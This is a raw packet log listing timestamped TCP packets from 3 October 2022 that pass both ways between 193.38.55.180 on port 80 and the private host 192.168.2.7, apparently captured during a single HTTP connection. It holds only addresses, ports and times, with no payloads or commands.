Oct 3, 2022 17:35:32.948821068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948837996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948842049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948863029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948863029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948878050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948884010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948901892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948905945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948931932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948944092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948970079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.948991060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.948995113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949023008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949038029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949043036 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949062109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949086905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949105024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949111938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949127913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949137926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949156046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949162960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949178934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949187994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949203014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949213028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949225903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949238062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949251890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949263096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949276924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949289083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949301958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949314117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949327946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949337006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.949363947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.949384928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.950104952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.951088905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.951565027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.951598883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.951661110 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.955686092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955730915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955789089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955817938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955828905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.955845118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955847025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.955872059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955877066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.955898046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.955900908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.955969095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.955969095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956402063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956440926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956470966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956496954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956509113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956531048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956547976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956557989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956582069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956584930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956609011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956612110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956631899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956638098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956665039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956686020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956691027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956716061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956717968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956743002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956744909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956760883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956770897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956795931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956798077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956820965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956825972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956847906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956851959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956877947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956898928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956903934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956928015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956931114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956955910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.956957102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956970930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.956981897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957007885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957012892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957035065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957040071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957058907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957062006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957082033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957088947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957108021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957114935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957144022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957168102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957170010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957194090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957195997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957222939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957225084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957243919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957250118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957276106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957298994 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957302094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957326889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957328081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.957355976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.957374096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.961612940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961685896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961714029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961741924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961769104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961796045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961816072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.961822033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961848021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961850882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.961872101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.961874962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961899042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.961900949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.961920977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.961940050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962058067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962085962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962111950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962131023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962140083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962155104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962183952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962244987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962615967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962649107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962663889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962673903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962694883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962701082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962723017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962728024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962738991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962754965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962758064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962781906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962809086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962819099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962835073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962845087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962861061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962882996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962899923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962899923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962928057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962944984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962954044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.962964058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.962979078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963006020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963016033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963032007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963042974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963057995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963069916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963083029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963112116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963120937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963140011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963151932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963166952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963180065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963192940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963203907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.963221073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.963258982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.974745035 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.975738049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.996855974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.996931076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.996959925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.996987104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997013092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997025013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997040033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997059107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997081041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997087002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997168064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997195005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997216940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997220993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997236013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997247934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997273922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997275114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997293949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997313976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997323990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997351885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997378111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997391939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997405052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997422934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997431040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997453928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997457981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997471094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997483969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997492075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997510910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997538090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997550964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997562885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997581959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997589111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997612000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997616053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.997629881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.997653008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.000849962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.000888109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.000916004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.000941992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.000953913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.000967979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.000976086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.000994921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001008987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001020908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001041889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001046896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001070023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001072884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001087904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001099110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001112938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001126051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001140118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001152992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001173973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001178980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001204967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001219988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001230955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001252890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001259089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001280069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001286030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001298904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001312017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001321077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001346111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001519918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001547098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001560926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001574039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001585007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001600027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001626015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001638889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001652002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001673937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001699924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001821041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001847982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001873016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001893044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001899958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001919985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001926899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001946926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001952887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001966000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.001980066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.001986027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.002005100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.002031088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.002043962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.002073050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007383108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007426977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007455111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007479906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007478952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007503986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007507086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007538080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007539988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007565022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007565975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007582903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007592916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007603884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007618904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007646084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007658005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007673025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007684946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007698059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007713079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007724047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007731915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007751942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007762909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007776976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007787943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007803917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007814884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007829905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007854939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.007868052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.007895947 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:33.008183956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008212090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008238077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008265018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008290052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008316994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:33.008322001 CEST	49703	80	192.168.2.7	193.38.55.180
